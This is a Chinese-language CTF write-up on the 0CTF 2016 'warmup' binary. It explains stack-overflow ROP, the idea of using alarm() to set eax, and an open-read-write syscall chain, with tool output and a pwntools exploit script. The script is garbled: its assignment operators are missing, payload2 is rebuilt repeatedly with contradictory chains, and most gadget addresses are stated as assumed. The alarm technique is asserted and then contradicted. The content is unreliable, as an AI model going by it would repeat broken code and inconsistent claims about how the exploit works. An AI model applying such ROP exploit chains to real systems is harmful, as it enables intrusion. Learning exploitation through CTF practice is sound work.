公司动态
从CTF赛题看ROP技术:利用alarm函数控制寄存器实现orw链
1. 从一道经典赛题看ROP的灵活运用最近在复盘一些老牌的CTFCapture The Flag题目发现2016年0CTF的这道warmup题虽然年份久远但其解题思路至今仍能给我们带来不少启发。这道题的核心是要求选手在仅有栈溢出漏洞的二进制程序中通过ROPReturn-Oriented Programming技术巧妙地利用alarm函数来控制eax寄存器的值最终构造一个orwopen-read-write链来读取并输出服务器上的flag文件。对于刚接触二进制安全或者ROP利用的朋友来说这道题是一个绝佳的练手材料它避开了复杂的绕过直指ROP利用中几个非常核心且实用的技巧如何在没有现成gadget的情况下控制关键寄存器以及如何串联多个系统调用来完成复杂操作。今天我们就来一起拆解这道题看看如何一步步从漏洞发现走到最终的利用链构造。2. 环境搭建与程序初步分析首先我们需要一个可以复现的环境。题目通常提供一个32位的ELF可执行文件。我们可以使用file命令确认其架构并用checksec检查其保护机制。$ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]..., stripped $ checksec --filewarmup Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)从输出可以看到几个关键信息程序是32位、静态链接、并且被strip掉了符号表这增加了逆向分析的难度。保护方面栈不可执行NX enabled但栈上无金丝雀No canary found这直接告诉我们栈溢出漏洞是存在的并且我们无法直接执行shellcode必须转向ROP。地址随机化PIE没有开启这意味着代码段的地址是固定的为我们寻找gadget提供了极大的便利。接下来我们用反汇编工具如objdump或IDA Pro快速浏览程序逻辑。主函数通常很简单可能包含一个存在缓冲区溢出漏洞的函数调用比如gets或read。通过动态调试gdb我们可以精确计算出溢出点。假设我们通过分析发现在某个函数中一个局部字符数组比如char buf[32]通过read或gets读入数据但没有检查长度。通过发送一长串的AAAABBBBCCCC...模式字符串并观察程序崩溃时EIP寄存器的值就能确定覆盖返回地址所需的偏移量。例如如果EIP被覆盖为0x42424242BBBB的ASCII那么偏移量就是到BBBB之前的字节数。假设我们计算出偏移量是44字节。注意静态链接的程序体积庞大直接用objdump -d反汇编会得到海量输出。更高效的方法是使用ROPgadget、ropper这类工具来搜索我们需要的gadget或者结合gdb在崩溃时查看栈和寄存器状态动态地确定利用路径。3. 漏洞利用的核心挑战与解题思路在传统的ROP利用中我们的目标是执行system(/bin/sh)来获取shell。但这道题设置了一个障碍程序是静态链接的但关键的/bin/sh字符串和system函数地址可能并不存在于二进制中或者由于其他限制比如禁用了execve系统调用而无法使用。题目的真正意图是引导我们使用orw链。orw链指的是依次调用open、read、write这三个系统调用来完成“打开文件-读取内容-写入标准输出”的操作。在32位Linux系统下系统调用通过int 0x80指令触发调用号存放在eax寄存器中参数依次存放在ebx、ecx、edx等寄存器中。因此我们面临的挑战非常具体控制eax我们需要分别将open、read、write的系统调用号5, 3, 4设置到eax。设置其他参数需要将文件名地址、文件描述符、缓冲区地址、读取/写入长度等参数设置到ebx、ecx、edx等寄存器。触发系统调用找到int 0x80指令的地址。管理数据我们需要在内存中有一个已知地址的区域来存放字符串flag或./flag并且这个地址需要我们能够写入。在静态链接、 stripped 的程序中找到直接pop eax; ret这样的gadget可能比较困难。这就是本题第一个精妙之处利用alarm函数。alarm是一个库函数用于设置定时器。当它被调用时其返回值存储在eax中是上次定时器剩余的秒数。更重要的是在程序初始未设置定时器的情况下调用alarm(0)会返回0并且不会中断程序执行。但如果我们先调用alarm(some_number)再调用alarm(0)那么第二次调用的返回值eax就是some_number。这样我们通过控制传递给alarm的参数就能间接地控制eax寄存器的值而alarm函数在静态链接的程序中几乎肯定存在。所以整体思路浮出水面利用栈溢出劫持程序控制流。第一次ROP链调用alarm(5)或其他数字为后续调用“储备”一个值在定时器中。第二次ROP链或与第一次连贯调用alarm(0)此时eax被设置为5即open的系统调用号。紧接着通过精心编排的gadget设置好ebx文件名指针、ecx打开标志、edx模式通常为0然后执行int 0x80打开文件。文件打开后返回的文件描述符fd会存放在eax中。我们需要将这个fd保存下来传递给后续的read和write。通常我们会将其移动到另一个稳定的寄存器如ebx中。构造第三、第四次ROP链分别完成read(fd, buffer, size)和write(1, buffer, size)。这里又需要控制eax为3和4可以复用alarm机制也可以寻找其他gadget如pop eax; ret如果存在的话。整个过程中需要一块可写且地址已知的内存作为缓冲区buffer。静态链接程序中的.bss段未初始化数据段是一个理想选择它的地址固定且通常具有读写权限。4. 关键Gadget的寻找与利用链构造有了思路我们就需要变成“寻宝猎人”在庞大的二进制文件中找到所需的“零件”gadget。我们主要使用ROPgadget工具。第一步寻找系统调用与函数地址$ ROPgadget --binary warmup | grep int 0x80 0x0806cd95 : int 0x80找到了系统调用指令的地址。同时我们还需要alarm函数的地址。由于符号表被剥离我们需要通过其他方式定位。一种方法是寻找alarm函数的特征字节序列但更简单的方法是使用调试器。在gdb中在程序起始处_start下断点然后call alarm观察其地址。或者用objdump -d warmup | grep -A 10 -B 5 alarm:如果还有符号或通过plt表查找。假设我们最终找到alarm的地址是0x0806e6d0。第二步寻找控制寄存器的gadget我们需要能控制ebx、ecx、edx、esi、edi、ebp的gadget。最常见的是pop reg; ret序列。$ ROPgadget --binary warmup --only pop|ret | grep -E pop ebx.*ret|pop ecx.*ret|pop edx.*ret 0x080481c9 : pop ebx ; ret 0x0806f19a : pop ecx ; pop ebx ; ret 0x0806f1aa : pop edx ; ret 0x0806f5c0 : pop esi ; pop edi ; pop ebp ; ret太好了我们找到了控制主要参数的gadget。注意pop ecx ; pop ebx ; ret这个gadget它连续弹出两个值分别给ecx和ebx这在设置参数时非常高效。第三步寻找写内存的gadget我们需要将字符串flag写入.bss段。如果找不到直接的mov [mem], reg这样的gadget我们可以利用read函数。程序本身很可能调用了read我们可以直接使用它的地址。或者我们可以用系统调用read(0, bss_addr, len)从标准输入读取flag字符串到.bss段。这需要先构造一个read的ROP链。.bss段的地址可以通过readelf -S warmup | grep bss找到假设是0x080eb000。第四步整合利用链现在我们可以规划栈布局了。假设偏移量是44字节那么我们的payload结构如下[44字节垃圾数据] [ROP链地址1] [ROP链地址2] ...一个详细的构造阶段如下阶段1写入字符串首先我们需要将flag字符串或./flag写入.bss段。我们可以利用已有的read函数或者构造一个read系统调用。设置eax3read系统调用号。如果找不到pop eax可以尝试用alarm先调用alarm(3)再调用alarm(0)但这样太繁琐。更好的方法是寻找xor eax, eax; ret和inc eax; ret之类的gadget来拼凑出3。假设我们幸运地找到了pop eax; ret在地址0x080bae06。Gadget链pop eax; ret-3-pop ebx; ret-0标准输入-pop ecx; pop ebx; ret-.bss_addr-dummy_for_ebx-pop edx; ret-len(flag)-int 0x80。在这个链执行后我们需要暂停等待用户输入字符串flag。这要求我们的漏洞利用脚本是交互式的先发送包含此ROP链的payload然后程序会阻塞在read系统调用等待输入此时我们再发送字符串flag。阶段2打开文件控制eax5。使用alarm技巧先调用alarm(5)地址0x0806e6d0参数5通过pop ebx; retgadget设置。紧接着或在另一个链中调用alarm(0)。此时eax变为5。设置参数pop ebx; ret-.bss_addr指向flag字符串pop ecx; pop ebx; ret-0打开标志O_RDONLY -dummypop edx; ret-0模式。执行int 0x80。打开成功返回的文件描述符通常是一个小整数如3保存在eax中。阶段3保存文件描述符打开文件后eax中的fd需要被后续操作使用。我们需要将它转移到另一个不会被后续gadget破坏的寄存器中例如ebx。可以寻找mov ebx, eax; ret或xchg ebx, eax; ret这样的gadget。假设我们找到了xchg ebx, eax; ret在0x0806aadc。那么在int 0x80之后接上这个gadget就能把fd交换到ebx中。阶段4读取文件内容设置eax3read系统调用号。同样使用pop eax; retgadget。此时ebx已经是fd。ecx设置为另一个.bss段地址比如.bss_addr0x100作为读取缓冲区。edx设置为要读取的长度例如100字节。执行int 0x80。读取的内容被存入缓冲区。阶段5写出文件内容到屏幕设置eax4write系统调用号。设置ebx1标准输出文件描述符。设置ecx为读取缓冲区的地址.bss_addr0x100。设置edx为实际读取到的长度可以设置成与读取时相同的长度。执行int 0x80。整个ROP链就像搭积木一样将一个个gadget的地址和所需的数据参数、下一条指令地址按顺序布置在栈上。当函数返回时就会沿着我们设计好的路径执行。5. 利用脚本编写与动态调试理论清晰后我们需要用脚本通常用Python的pwntools库将这一切自动化。下面是一个高度简化的脚本框架展示了核心逻辑from pwn import * context(archi386, oslinux) # p process(./warmup) p remote(靶机地址, 端口) offset 44 alarm_addr 0x0806e6d0 int80_addr 0x0806cd95 pop_eax 0x080bae06 pop_ebx 0x080481c9 pop_ecx_ebx 0x0806f19a # pop ecx; pop ebx; ret pop_edx 0x0806f1aa bss_addr 0x080eb000 xchg_ebx_eax 0x0806aadc # 构造payload payload bA * offset # 阶段1写字符串flag到.bss (使用read系统调用) payload p32(pop_eax) payload p32(3) # sys_read payload p32(pop_ebx) payload p32(0) # fd: stdin payload p32(pop_ecx_ebx) payload p32(bss_addr) # buf: .bss地址 payload p32(0xdeadbeef) # 填充pop ebx的dummy值 payload p32(pop_edx) payload p32(4) # len: flag的长度 payload p32(int80_addr) # 执行read # 注意执行完read后程序会等待输入。我们需要在此处暂停发送字符串后再继续ROP链。 # 一种方法是在read之后让程序返回到一个类似“pause”的地址如main或某个循环 # 或者构造一个更复杂的链在read后直接继续。这里为了简化我们先发送第一段payload然后交互发送字符串。 p.send(payload) p.send(bflag\x00) # 发送文件名字符串注意末尾加空字符 # 现在我们需要发送第二段payload来继续利用。由于栈空间可能有限或者需要保持连接 # 一种常见做法是触发另一个溢出如果存在或者利用第一次read的结果。 # 假设我们还能通过同一个漏洞点发送第二次数据比如程序有一个循环。 # 这里我们构造第二阶段payload覆盖新的返回地址。 payload2 bA * offset # 阶段2打开文件 (使用alarm控制eax) # 先调用alarm(5) payload2 p32(alarm_addr) payload2 p32(pop_ebx) # alarm的返回地址我们让它返回到设置参数的gadget payload2 p32(5) # alarm的参数 # alarm(5)之后栈上应该是它的返回地址我们让它返回到一个pop ebx; ret来清理栈并设置下一个函数的参数 # 但实际上alarm函数是libc调用约定参数通过栈传递。我们需要模拟调用。 # 正确做法直接构造栈帧调用 alarm(5)然后紧接着调用 alarm(0) # 但由于是静态链接alarm是直接函数我们可以用 pop ebx; ret ; call alarm 的序列不更简单的是直接布置参数和地址。 # 实际上对于函数调用我们需要将参数压栈然后call。在ROP中我们通过 gadget 设置参数然后跳转到函数地址。 # 对于 alarm(5): payload2 p32(pop_ebx) payload2 p32(5) payload2 p32(alarm_addr) # 调用 alarm(5) # alarm(5)执行后会返回到栈上的下一条指令。我们在这里放置下一个gadget地址。 # 我们需要调用 alarm(0)但此时栈顶是 alarm(5) 的返回地址所在位置。我们需要一个 pop; ret 来清理栈平衡堆栈。 # 因为 alarm 是 cdecl 调用约定调用者负责清理参数。所以 alarm(5) 返回后esp指向返回地址的下一个位置即参数5之后。 # 我们可以在 alarm(5) 的返回地址处放置一个 pop ebx; ret 的地址这样 ret 后esp会加4指向我们布置的下一个地址。 payload2 p32(pop_ebx) # 这个gadget用于平衡栈弹出参数5同时我们也可以利用它设置下一个alarm的参数 payload2 p32(0) # 这个值会被 pop ebx 弹出作为垃圾值处理或者如果我们需要ebx0则正好。 # 现在栈顶是 pop ebx; ret 后的返回地址我们让它跳转到 alarm 函数再次被调用但此时 ebx0不上一步 pop ebx 弹走了0ebx现在是0。 # 我们需要再次设置参数。更清晰的链是alarm(5) - pop ebx; ret (清理栈) - alarm(0)。但 alarm(0) 需要参数0在栈上。 # 所以应该是... - alarm(5) - pop ebx; ret (弹出旧参数5) - [下一个ROP指令]。 # 我们想要在调用 alarm(0) 时eax5。但经过上面的链eax 已经被 alarm(5) 的返回值覆盖可能是0。实际上连续调用 alarm(5) 和 alarm(0) 并不能保证第二次调用时 eax5。 # 经典做法是调用一次 alarm(某个值)然后程序流必须再次经过这个 alarm 函数或者另一个函数的返回此时 eax 会被设置为那个值。 # 但更常见的解法是题目中可能有一个特定的 gadget 序列或者我们找到了 pop eax; ret。如果找到了就简单多了。 # 假设我们找到了 pop eax; ret那么控制 eax 就很简单。我们重新调整策略放弃使用 alarm 控制 eax因为我们已经有了 pop_eax。 # 重新构造阶段2打开文件 (使用 pop_eax) payload2 bA * offset payload2 p32(pop_eax) payload2 p32(5) # sys_open payload2 p32(pop_ebx) payload2 p32(bss_addr) # 文件名地址 payload2 p32(pop_ecx_ebx) payload2 p32(0) # flags: O_RDONLY payload2 p32(0xdeadbeef) # dummy for pop ebx payload2 p32(pop_edx) payload2 p32(0) # mode payload2 p32(int80_addr) # 执行 open # open 返回后fd 在 eax 中 payload2 p32(xchg_ebx_eax) # 将 fd 移动到 ebx # 阶段3读取文件内容 payload2 p32(pop_eax) payload2 p32(3) # sys_read # ebx 已经是 fd payload2 p32(pop_ecx_ebx) payload2 p32(bss_addr0x100) # 读取缓冲区 payload2 p32(0xdeadbeef) # dummy for pop ebx (保持ebx不变这里会覆盖ebx) # 注意pop_ecx_ebx 会先 pop ecx再 pop ebx。这会破坏我们之前设置在 ebx 中的 fd。 # 我们需要一个只设置 ecx 而不改变 ebx 的 gadget或者调整顺序。 # 我们可以先设置 ecx 和 edx最后再设置 eax避免破坏 ebx。 # 或者找一个 pop ecx; ret 的 gadget。假设我们找到了 0x0806f1aa 是 pop edx; ret但没有单独的 pop ecx。 # 那么我们可以修改在 open 之后用 xchg_ebx_eax 把 fd 放到 ebx。然后为了 read我们需要设置 ecx 和 edx同时保持 ebx 不变。 # 我们可以使用 pop ecx; pop ebx; ret但给 ebx 弹出原来的值fd。所以我们需要知道 fd 的值。但 fd 是动态的通常是3。我们无法在构建ROP链时确定。 # 因此我们需要一个不依赖具体值的方法将 fd 保存到内存中或者使用另一个寄存器。 # 常见做法将 fd 从 eax 移动到 esi 或 edi 这类在系统调用中不常用的寄存器然后每次需要时再移回 ebx。 # 寻找 mov esi, eax; ret 或 xchg esi, eax; ret 的 gadget。 # 假设我们找到了 xchg esi, eax; ret 在 0x0806ab3d。 xchg_esi_eax 0x0806ab3d # 假设的 gadget # 重构阶段2和3 # open 之后eaxfd payload2 p32(xchg_esi_eax) # fd 现在在 esi 中 # 现在设置 read 的参数 payload2 p32(pop_eax) payload2 p32(3) # sys_read payload2 p32(pop_ebx) # 设置 ebx现在需要从 esi 中取回 fd # 我们需要 mov ebx, esi; ret 或 xchg ebx, esi; ret。假设找到了 xchg ebx, esi; ret 在 0x0806aade。 xchg_ebx_esi 0x0806aade payload2 p32(xchg_ebx_esi) # 将 esi 中的 fd 交换到 ebx # 但 xchg_ebx_esi 执行后esi 变成了原来的 ebx可能是垃圾值不过没关系。 payload2 p32(pop_ecx_ebx) # 这个 gadget 会先 pop ecx再 pop ebx又会破坏 ebx # 看来 pop_ecx_ebx 不适合这里。我们需要单独的 pop ecx 和 pop edx。 # 继续搜索ROPgadget --binary warmup --only pop|ret | grep pop ecx # 假设我们找到了 0x0806f19b : pop ecx ; ret pop_ecx 0x0806f19b pop_edx 0x0806f1aa # 那么 read 的设置可以改为 # 1. 设置 eax3 # 2. 设置 ebxfd (通过 xchg ebx, esi) # 3. 设置 ecxbuffer # 4. 设置 edxlength # 5. int 0x80 payload2 p32(pop_eax) payload2 p32(3) payload2 p32(xchg_ebx_esi) # fd - ebx payload2 p32(pop_ecx) payload2 p32(bss_addr0x100) payload2 p32(pop_edx) payload2 p32(100) payload2 p32(int80_addr) # 阶段4写文件内容到标准输出 # write(1, buffer, len) payload2 p32(pop_eax) payload2 p32(4) # sys_write payload2 p32(pop_ebx) payload2 p32(1) # fd: stdout payload2 p32(pop_ecx) payload2 p32(bss_addr0x100) # buffer payload2 p32(pop_edx) payload2 p32(100) # len payload2 p32(int80_addr) # 最后为了让程序优雅退出或循环可以跳转到 exit 函数或 main 函数 exit_addr 0x0804a3d0 # 假设的 exit 地址或 _start payload2 p32(exit_addr) p.send(payload2) p.interactive()这只是一个概念性的脚本框架实际编写时需要根据找到的确切gadget地址、栈布局以及程序的交互逻辑进行调整。特别是如何处理两次发送字符串和后续ROP链需要根据程序的具体行为来设计。可能需要在第一次ROP链的末尾让程序跳转回一个可以再次触发溢出的函数如main从而发送第二次payload。动态调试gdb在这个过程中至关重要。你需要在关键gadget和函数调用处设置断点。单步执行观察寄存器值是否符合预期。查看栈布局确保ret指令能准确地跳转到下一个gadget。检查内存写入如.bss段是否成功。6. 常见问题与高级技巧在实际构造中你可能会遇到以下问题及应对策略Gadget缺失找不到完美的pop eax; ret。这时可以尝试组合其他gadget例如xor eax, eax; ret将eax清零。inc eax; ret或add eax, 1; ret来增加eax的值。通过多次inc/add操作累加出想要的系统调用号。虽然链会变长但通常可行。字符串存储.bss段地址已知但如何写入除了用read系统调用还可以寻找mov [mem], reg类的gadget。例如如果找到mov [ecx], eax; ret可以先将字符串的四个字节分四次写入。这需要控制ecx地址和eax值。栈空间不足或栈转移有时溢出缓冲区很小不足以放下整个ROP链。可以采用“栈转移”技术。即先通过一个gadget如pop esp; ret将栈指针esp转移到我们控制的另一块内存区域如.bss段那里有充足的空间布置更长的ROP链。这需要先在这块内存中布置好数据。利用alarm的细节alarm函数是libc函数内部会调用系统调用。它的返回值剩余秒数确实存放在eax。但连续调用alarm(5); alarm(0)并不能简单地将5存入eax供后续使用因为alarm(0)的返回值是上次alarm调用后剩余的秒数如果中间没有延时这个值很可能还是0。更可靠的用法是调用一次alarm(某个值)然后程序流必须通过一个leave; ret或类似的指令序列使得在某个函数返回时eax恰好没有被改变而这个返回值就是之前alarm设置的值。这需要对程序流有更精细的控制。在本题的经典解法中往往是找到了pop eax; retgadgetalarm可能只是其中一种可能的路径或者用于初始设置一个非零值。静态链接程序的gadget丰富性静态链接程序包含了大量库代码因此gadget极其丰富。即使一些看似不常见的指令序列也可能存在。多使用ROPgadget --binary warmup --ropchain尝试自动生成虽然生成的链可能又长又复杂但可以从中学习到有用的gadget片段。7. 总结与延伸思考通过这道0CTF 2016 warmup我们深入实践了ROP利用的多个核心环节偏移计算、gadget搜索与组合、寄存器控制、系统调用链构造以及数据存储管理。其中利用alarm控制eax的思路打破了“必须有pop eax”的思维定式展示了在限制条件下灵活利用程序自身资源的创造力。这道题也体现了CTF中orw类题目的通用解法模式。在更复杂的情况下可能会遇到沙箱seccomp限制只允许open、read、write等少数系统调用而禁止execve此时orw就是唯一的出路。熟练掌握这种技术对于现代二进制安全攻防至关重要。最后建议在理解本题后尝试挑战其他类似的orw题目比如[0ctf 2016]piapiapia题目名相似但内容可能不同或者自己编译一个带漏洞的静态链接程序进行练习。只有亲手调试、踩坑、修复才能真正内化这些知识形成自己的利用思维框架。记住ROP的艺术在于用程序自身的代码完成攻击者想做的事。